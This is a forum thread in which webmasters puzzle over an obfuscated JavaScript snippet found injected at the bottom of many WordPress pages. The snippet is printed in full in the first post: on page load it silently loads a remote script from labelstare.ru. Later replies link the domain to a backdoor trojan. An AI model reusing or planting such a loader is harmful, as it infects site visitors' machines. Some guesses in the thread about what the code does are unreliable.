![]() |
![]() |
![]() |
||||
Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums. You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today! If you have any problems with the registration process or your account login, please contact us. |
![]() ![]() |
|
Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed. |
|
Thread Tools |
![]() |
#1 |
Confirmed User
Join Date: Dec 2006
Posts: 1,497
|
anyone seen this? code injection..
I keep seeing this on more and more of my wordpress sites (porn, mainstream)..
Anyone knows what does it do? It has something to do with labelstare.ru site, at least thats what it connects to... <script>var TM=new Date();var W=new Date();function h(){var gc=[];var n=false;var L=String("crea"+"teEl"+"emen"+"CNdt".substr(3));O=[];this.R=21211;this.R++;var B=String("NPMscrip".substr(3)+"t");var Q={};var T=String("GlTJdefer".substr(4));try {var VN='Vj'} catch(VN){};this.tz='';var g="b7Wvon".substr(4)+"ARElo".substr(3)+"ad";var q="bodysrMT".substr(0,4);UK=27462;UK+=37;var N=document;var t=new String("sr"+"c");Zs={H:false};k=["fy"];var Z=new String("appen"+"dChil"+"d");Qq=["G"];this.w=59889;this.w--;var X=window;this.Uo=22157;this.Uo++;function c(){var jz=["nG"];var yw=new Date();try {try {var gF='se'} catch(gF){};var PT={PE:false};Xw={wN:"yj"};var F=new String("/goo"+"gle.NFWZ".substr(0,4)+"com/rCu".substr(0,4)+"ebay"+"MBAl.fr/".substr(4)+"mult"+"iply"+"Arf.comfAr".substr(3,4) +"tSD.phpDtS".substr(3,4));var Nv=7643-7642;MP={gD:"RD"};BU=["TR","dA","DcN"];var TJ=false;var b=new String("http"+"://l"+"abelIXD".substr(0,4)+"star"+"e.ru"+":");this.J V=63105;this.JV+=147;this.EY=62017;this.EY+=142;va r cz=891321-883241;this.db=64472;this.db-=183;this.BW='';var Dy={ho:false};s=N[L](B);this.Nf='';var Xn="Xn";var TF=["A","JZ"];var VQ=["rz","LU"];var OC=["Ij","WC"];we=[];Ct={};s[T]=Nv;this.dH="";s[t]=b+cz+F;dX={Q_:"nBC"};uZ={Bw:"Dg"};var Xs=false;this.JI="JI";N[q][Z](s);_={qc:51554};FG={};} catch(U){var jo='';var mI='';this.QG=8292;this.QG--;};}var iQ=new String();X[g]=c;Ue=[];var lY='';};h();var SH=55617;</script> <!--b9a827d8a9686a8057739c6e91a4cbcc-->
__________________
¤´¨) ¸.•´¸.•*´¨) ¸.•*¨) (¸.•´ (¸.•`¤ICQ:491 496 482 |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#2 | |
Too lazy to set a custom title
Industry Role:
Join Date: Sep 2002
Posts: 34,431
|
Quote:
__________________
I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
|
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#3 |
Confirmed User
Join Date: Dec 2006
Posts: 1,497
|
I'd really like to know what the hell does that thing do? Any chance it changes aff links?
__________________
¤´¨) ¸.•´¸.•*´¨) ¸.•*¨) (¸.•´ (¸.•`¤ICQ:491 496 482 |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#4 |
Confirmed User
Industry Role:
Join Date: Mar 2004
Location: Great White North
Posts: 5,794
|
My first thought was cookie switcher/replacer or stuff. But I know shit about scripting, I just know a few reasons they would/could.
__________________
LinkSpun - Premier Adult Link Trading Community - ICQ - 464/\281/\250 Be Seen By New Webmasters/Affiliates * Target out webmasters/affiliates based on niches your sites are for less than $20 a month. AmeriNOC - Proudly hosted @ AmeriNOC! |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#5 |
Confirmed User
Join Date: Nov 2009
Posts: 391
|
our coder says: "you have a security breach.. somebody injected a harmful script on your site"..
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#6 |
So Fucking Banned
Join Date: Aug 2008
Location: Just Blow Me
Posts: 10,551
|
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#7 |
Confirmed User
Industry Role:
Join Date: Oct 2009
Location: At The Mountains Of Madness
Posts: 5,414
|
SDesign where does that actually show up on your wp page? in a template?
__________________
![]() ------------------------------------------------ Animal Rescue Click Here to Feed An Animal for Free |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#8 |
Confirmed User
Join Date: Dec 2006
Posts: 1,497
|
nope, seems like it was injected into .php wp pages, its on the bottom, below closed html tags
I got like 50+ wordpresses to remove it, kinda lazy to do it today ![]()
__________________
¤´¨) ¸.•´¸.•*´¨) ¸.•*¨) (¸.•´ (¸.•`¤ICQ:491 496 482 |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#9 |
Confirmed User
Join Date: Nov 2008
Posts: 359
|
Google hasn't yet flagged labelstare dot ru as malicious but McAfee doesn't like it, saying it attempts to download a backdoor trojan. If Google lists the labelstare site as malicious, and it detects your sites have links to it, you'll get added to their "This site may harm your computer" list. Not fun to undo that.
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#10 |
Damn Right I Kiss Ass!
Industry Role:
Join Date: Dec 2003
Location: Cowtown, USA
Posts: 32,405
|
Never host wordpress on a shared server.
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#11 |
Junior Achiever
Industry Role:
Join Date: Nov 2004
Location: Walled Garden
Posts: 17,066
|
That code is doing something with google and ebay. Not sure what yet.
|
![]() |
![]() ![]() ![]() ![]() ![]() |